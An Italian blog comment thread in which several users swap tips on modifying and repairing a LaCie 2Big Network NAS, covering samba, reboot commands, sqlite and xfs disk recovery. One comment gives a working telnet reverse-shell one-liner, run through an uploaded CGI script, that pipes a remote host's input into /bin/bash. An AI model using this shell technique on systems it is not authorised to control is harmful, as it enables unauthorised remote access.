Se avessi avuto un po di fortuna con il cross-compiling…
Ho provato più volte a compilare il kernel distribuito dalla lacie (http://www.lacie.com/download/drivers/NAS_Sys_2.2.x-GPL/lacie_2.2.x_GPL.tar) senza alcun risultato.
Probabilmente per ignoranza mia, ma tra le mille opzioni del kernel per impostare la compilazione compatibile con l’architettura del nas, non sono riuscito mai a capire qual’era quella corretta.
Se si fa file su un file del nas questo è il risultato:
ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.14, stripped
Anche quando sono riuscito a compilare un file con la stessa dicitura non sono, di fatto, mai riuscito a farlo eseguire dal nas.
Se fossi riuscito nel mio intento in questo momento avrei il nas con il servizio nfs server attivo e in più lo avrei convertito in uno stereo con una chiavetta audio usb. bha!
I moduli del kernel presenti nel nas sono contati, già dobbiamo ringraziare che c’era il modulo per la stampa su usb!
Ovviamente bisogna sperare che il kernel sia compilato per supportare questi moduli.
Asp.. azz. ho fatto casino con il nas. Torno tra un attimo!
Ok problema risolto evviva gli snapshot! fiuuu…
Più che altro… stavo pensando ad un workaround, tipo pennina esterna usb con filesystem criptato…
Che ne pensi? Dato che non è possibile rimpicciolire un filesystem xfs.
Anzi è bene non toccare il filesystem xfs del nas (vedi il primo commento di george a questo post)
Ps. oggi sono parecchio fuso ho solo 4 ore di sonno e sto programmando da questa notte, non penso di essere molto attendibile.. 😛
dirac il 21 Aprile 2010 alle 22:07 scrive:

Sul toccare il filesystem xfs non c’e’ dubbio, anche perche’ ho visto che sto nas tende a rimettere tutti i files a posto; ad esempio ho modificato l’smb.conf e al reboot successivo e’ tutto tornato come prima (come il passwd per capirci). Quindi chissa’ cosa farebbe con i files di configurazione vari che magari interagiscono col filesystem.
A proposito sei riuscito a fare reboot da console? Shutdown -h non esiste, esiste reboot che pero’ non funziona sempre.
Inoltre ho visto che c’e’ di mezzo sqlite che pare estragga alcune info di configurazione dai files .db.

Per quanto riguarda la usb non mi serve, io vorrei fare un fs cifrato da 2-3 Terabytes, con la protezione di un raid5. Per fare cio’ ho creato un file truecrypt via smb, grande 3Tbytes. 3-4 giorni per crearlo. Poi apro il file .tcr via samba (ftp e http non sono supportati) e infilo i miei files nel tcr. Va per un centinaio di Gbytes, poi esplodono il numero di smbd sul nas e l’uptime.

Non ho ancora capito se e’ un problema di truecrypt oppure dell’hardware/software del nas. Il dmesg non rivela nulla, sto provando a creare dei giganteschi dd if=/dev/zero of=lacie per vedere se ci fosse un problema hw sul nas. Cheppalle pero’…

Mi sa che bisognera’ imparare a fare il cross-compiling, ma quando? Ci vorrebbe anche del tempo…
Steppenwolf il 22 Aprile 2010 alle 06:10 scrive:

Ciao di nuovo 🙂

Sul toccare il filesystem xfs non c’e’ dubbio, anche perché ho visto che sto nas tende a rimettere tutti i files a posto.

Non è questo il problema. L’unico modo restringere una partizione xfs, che io sappia, è cancellarla e rifarla più piccola.
Questo ne cambierebbe l’uuid e il nas non la monterebbe più (vedi il commento di George).
Personalmente non toccherei le partizioni del nas neanche dietro pagamento.

ad esempio ho modificato l’smb.conf e al reboot successivo è tutto tornato come prima

Nulla di nuovo… Infatti avevo modificato il mio servizio “personal” per migliorare il rapporto tra cups e samba.
Scoprendo solo dopo che samba sul nas non è stato compilato con il supporto al cups (ho fatto del lavoro inutile).

Infatti se si fa:
# ldd /usr/sbin/smbd libldap-2.3.so.0 => /usr/lib/libldap-2.3.so.0 (0x40026000) liblber-2.3.so.0 => /usr/lib/liblber-2.3.so.0 (0x4005b000) libgssapi_krb5.so.2 => /usr/lib/libgssapi_krb5.so.2 (0x4006d000) libkrb5.so.3 => /usr/lib/libkrb5.so.3 (0x40097000) libk5crypto.so.3 => /usr/lib/libk5crypto.so.3 (0x40101000) libcom_err.so.3 => /usr/lib/libcom_err.so.3 (0x4012d000) libresolv.so.2 => /lib/libresolv.so.2 (0x40139000) libdl.so.2 => /lib/libdl.so.2 (0x40153000) libcrypt.so.1 => /lib/libcrypt.so.1 (0x4015e000) libpam.so.0 => /lib/libpam.so.0 (0x40193000) libacl.so.1 => /usr/lib/libacl.so.1 (0x401a5000) libattr.so.1 => /usr/lib/libattr.so.1 (0x401b4000) libnsl.so.1 => /lib/libnsl.so.1 (0x401bf000) libiconv.so.2 => /usr/lib/libiconv.so.2 (0x401dc000) libtalloc.so.1 => /usr/lib/libtalloc.so.1 (0x402c1000) libtdb.so.1 => /usr/lib/libtdb.so.1 (0x402ce000) libwbclient.so.0 => /usr/lib/libwbclient.so.0 (0x402e3000) libz.so.1 => /usr/lib/libz.so.1 (0x402f5000) libgcc_s.so.1 => /usr/lib/libgcc_s.so.1 (0x4030d000) libc.so.6 => /lib/libc.so.6 (0x40321000) libssl.so.0.9.8 => /usr/lib/libssl.so.0.9.8 (0x40455000) libcrypto.so.0.9.8 => /usr/lib/libcrypto.so.0.9.8 (0x40499000) libkrb5support.so.0 => /usr/lib/libkrb5support.so.0 (0x405d9000) /lib/ld-linux.so.3 (0x40000000)

Manca la riga: libcups.so.2 => /usr/lib/libcups.so.2 (0x000... quindi tanti saluti al supporto cups per samba.
(L’utility ldd non è presente sul nas, l’ho installata ieri e per poco, per una mia disattenzione, non mi fregavo il nas: mai sovrascrivere librerie già presenti nel nas!)
Con il nuovo firmware che hanno rilasciato (ver 2.2.6) hanno aggiornato, tra le altre cose, samba.
Tuttavia i risultato che vedi su è stato eseguito sull’ultima versione rilasciata. 🙁

A proposito sei riuscito a fare reboot da console? Shutdown -h non esiste, esiste reboot che pero’ non funziona sempre.

Anche qui nulla di nuovo, purtroppo.
Ti consiglio: # ngc -h per avere un idea di cosa fa ngc.
In particolare:
ngc -6 esegue il reboot del sistema
ngc -0 arresta il sistema
Tuttavia ngc ha dei problemi, che sono quelli che ha riscontrato tu per l’appunto.
Penso che dipendano dall’hardware, se provi ad arrestare il sistema con il pulsante del nas messo su on questo, di fatto, non si arresta.
Esattamente come dall’interfaccia web. Inoltre quando esegui il comando reboot altro non fai che eseguire ngc -6.
Non ho trovato soluzioni a questo comportamento anomalo. Per adesso continuo ad eseguire il reboot del nas tramite interfaccia web. 🙁
Ad ogni modo l’hang up del nas in fase di reboot mi è successo di rado, ci sono voluti almeno due / tre riavvii conseguitivi perché si verificasse.

Inoltre ho visto che c’é di mezzo sqlite che pare estragga alcune info di configurazione dai files .db.

Se ti riferisci a backup.db.. allora:
# sqlite3 /etc/backup.db apri il file
select * from sqlite_master; vedi quante tabelle sono presenti nel database
select * from backup; vedi il contenuto della tabella backup del database
.quit chiudi sqlite.
Il file /etc/backup.db si occupa di memorizzare i backup che il nas effettua. (Quelli configurabili dall’interfaccia web per intenderci)
Non ci sono informazioni sulla configurazione del nas.
E’ molto probabile che tutte le informazioni sulla configurazione del nas siano memorizzate nella eprom.

Poi apro il file .tcr via samba (ftp e http non sono supportati) e infilo i miei files nel tcr.

Magari dico una cazzata ma hai provato con ssh? Linux ti permette di montare un filesystem remoto tramite ssh.
L’ssh installato sul nas lo supporta egregiamente, ovviamente è lento perché il nas deve criptare e decriptare tutti i dati.

Va per un centinaio di Gbytes, poi esplodono il numero di smbd sul nas e l’uptime

Qui non so che dirti, probabilmente il nas non riesce semplicemente a gestire quella mole di dati e samba crasha.
Tieni conto che il nas ha solo 128mb di swap e 128mb di ram (nei nuovi modelli 64 nei vecchi) se ram e swap sono pieni il nas muore.
(Era quello che accadeva in fase di installazione del firmware 2.2.5 ❗ 😛 )
Usa free per vedere queste informazioni.

Mi sa che bisognerà imparare a fare il cross-compiling, ma quando? Ci vorrebbe anche del tempo…

Io al momento ne sono a corto inoltre mi ha anche fatto passare la voglia per quanto tempo ci ho sbattuto.
Preferirei debaggare un segfault in C : mi stresserebbe di meno!

Ps. si vede che ho dormito? 😛
dirac il 22 Aprile 2010 alle 15:57 scrive:

Ciao grazie per le informazioni,
quella di reboot = ngc -6 e quella di sqlite3 sono particolarmente utili.

sshfs e’ spaventosamente lento, vado a 1Mbytes/sec usando rsync su un fs sshfs. Quindi inutilizzabile. Samba va circa a 10Mbytes, che e’ lento ma non lentissimo, peccato che vada in crash. Ora sto provando un’altra cosa: sto dumpando la partizione truecrypt su un file con dd (in realta’ lo spezzo in 4-5 files), li trasferisco con ftp sul nas, ricorstruisco il file truecrypt e ci accedo con samba. A quel punto potrebbe non morire piu’ perche’ mi ritroverei a fare solo aggiornamenti sul fs e non a copiare Giga e Giga di roba, cosi’ forse samba ce la fa.

Ci vorranno un po’ di giorni causa impegni, ma poi se riesco te lo dico.

Se invece i files di config sono sulla eeprom allora da qualche parte ci sara’ l’utility per leggerci da sta eeprom…

Io invece oggi sono mezzo rincoglionito dal sonno…
dirac il 27 Aprile 2010 alle 10:48 scrive:

Allora…
piccolo workaround se per caso non dovessimo piu’ riuscire ad usare utelnetd;

chiamando MIOHOST un server linux mio su cui ho installato netcat:
lancio su MIOHOST un terminale su cui lancio
nc -l -p 3000

su un altro terminale sempre su MIOHOST lancio
nc -l -p 4000

nello script cgi che viene uploadato sul nas al posto delle due righe finali si mette:
echo lancio i telnet in cascata…
eval ‘sleep 3000 | telnet xx.yy.zz.kk 3000 | grep -v \( –line-buffered | /bin/bash | telnet xx.yy.zz.kk 4000′

dove xx.yy.zz.kk e’ l’indirizzo IP di MIOHOST.

A questo punto si fa eseguire il cgi-bin tramite browser e si danno i comandi nella shell con il 3000, si legge l’output nella shell con la porta 4000 in ascolto.

Tecnica di reverse shell con telnet
Restore il 29 Aprile 2010 alle 10:29 scrive:

Ciao, ho risolto! Prima di tutto ho fatto il backup dei 2 dischi su 2 altri dischi identici solo per cautela e finalmente dopo aver messo questi 2 ultimi su un pc con ubuntu mi ha riparato il filesystem con xfs_repair -L /dev/md4 senza la L non ne voleva sapere.
Grazie mille per l’aiuto!

Una stranezza: ho messo i 2 HD clonati e con xfs riparato sul 2big che però resta sempre con la luce blu frontale lampeggiante, può dargli fastidio che abbia messo gli altri HD? Sono identici agli originali come contenuto e partizioni.
Tralaltro non posso amministrarlo perché resta appunto lampeggiante e non prende l’indirizzo in DHCP.
Steppenwolf il 30 Aprile 2010 alle 23:04 scrive:

Intanto scusate se ho impiegato tempo a rispondere ma sono rimasto alcuni giorni senza adsl…
@restore

può dargli fastidio che abbia messo gli altri HD? Sono identici agli originali come contenuto e partizioni.

Si è risaputo che gli hd, anche se con partizioni e contenuto uguale, non funzionano. (vedi discussioni su forum general nas-central)
La soluzione a questo problema è fornita da George, nel primo commento di questo post. ❗
Il mount delle partizioni raid viene fatto tramite uuid che presumibilmente é memorizzato nella eeprom.
Quindi quando fai un’immagine di un hd di fatto l’uuid comunque è diverso e il nas non parte.
Ti consiglio di guardare il primo commento; George spiega in modo efficace (comandi compresi) come risolvere il problema.

…senza la L non ne voleva sapere…

Il tuo errore “log mount/recovery failed: error 117” si suggeriva in molti forum affidabili il comando -L per risolverlo perché il codice 117 indica appunto un problema con il log.
Ovviamente. data la situazione, è chiaro che la prudenza non è mai troppa.

@dirac
Grazie per il tuo commento sullo reverse shell con telnet, conoscere nuove tecniche è sempre di aiuto.

Ps. Auguri per il primo maggio. 🙂
Restore il 2 Maggio 2010 alle 13:05 scrive:

Grazie Steppen 🙂
Restore il 4 Maggio 2010 alle 18:07 scrive:

Rieccomi ho provato a vedere l’UUID di sda2 (hd vecchi e nuovi) e quello dell’EEPROM beh tutti coincidono e non ho fatto niente in tal senso se non fare delle copie settore per settore dei vecchi HD su quelli nuovi, evidentemente è stato clonato anche l’UUID, resta quindi un mistero perchè con gli HD vecchi che hanno ancora il filesystem rovinato il NAS parta mentre con i nuovi no anche se l’UUID è identico. Che la riparazione del filesystema dia fastidio al NAS? Mi par strano.
Vorrei un chiarimento: sopra George si stupisce che Lacie abbia fatto in modo che solo gli HD con lo stesso UUID dell’EPROM il NAS parta, ma se io mettessi dentro 2 HD mai formattati prima e senza partizioni? Non dovrei poter creare il RAID e usare gli HD nuovi? Mi pare strano che in caso di HD guasto spedito a Lacie questa rimandi un HD nuovo con già sopra le partizioni e quindi l’UUID giusto, è così? Altrimenti seguendo il ragionamento anche quest’ultimo HD non farebbe partire il NAS.

Sto pensando di fare un bel fdisk sui 2 hd nuovi per cancellare tutto e vedere come si comporta il NAS, che ne dite?
Restore il 7 Maggio 2010 alle 21:08 scrive:

Mi rispondo da solo:

Lacie ha messo il sistema operartivo sui dischi…
Steppenwolf il 8 Maggio 2010 alle 15:01 scrive:

Scusami se ti rispondo solo ora.

Lacie ha messo il sistema operartivo sui dischi…

Si, infatti davo per scontato che lo sapessi, il sistema operativo è troppo grosso per entrare in memoria nvram (come accade per la fonera).
Infatti gli hd hanno numerose partizioni:

/dev/md1 167.0M 111.3M 47.1M 70% /oldroot/var/original
/dev/md2 648.4M 20.2M 595.3M 3% /oldroot/snapshots
….

md1 per il sistema operativo originale, nel mio caso la ver. 2.2.3
md2 per gli aggiornamenti del sistema operativo e gli snapshot.
quindi per avviare il nas non si deve fare la copia della sola partizione dai dati personali ma di tutto l’hd.
Scusa nuovamente se ti rispondo con questo ritardo ma ero in trasferta a casa.
Restore il 10 Maggio 2010 alle 19:19 scrive:

Ciao, non ti preoccupare se sei impegnato è giusto così.
Ho formattato i 2 HD adesso rifarò le partizioni seguendo il topic su forum.nas-central.org, comunque Lacie ha veramente reso la vita dura nel ripristino di sto NAS
David il 12 Luglio 2010 alle 21:12 scrive:

salve ho un Lacie 2Big Network con la scheda madre andata!! era settato in Raid0 ho fatto vari test e non sono riuscito a vedere i dati, ho montato ubuntu su di una macchina e riesco avedere i 2 dischi con le varie partizioni ma non riesco a montare il raid0 per cercare di recuperare i dati, sapete darmi inicazioni in merito? devo mandarlo ad un centro recupero dati?
grazie

I commenti sono chiusi.

Related posts:

130 pensieri su “LaCie 2Big Network hack: telnet, openssh, ntpd, cups and more..”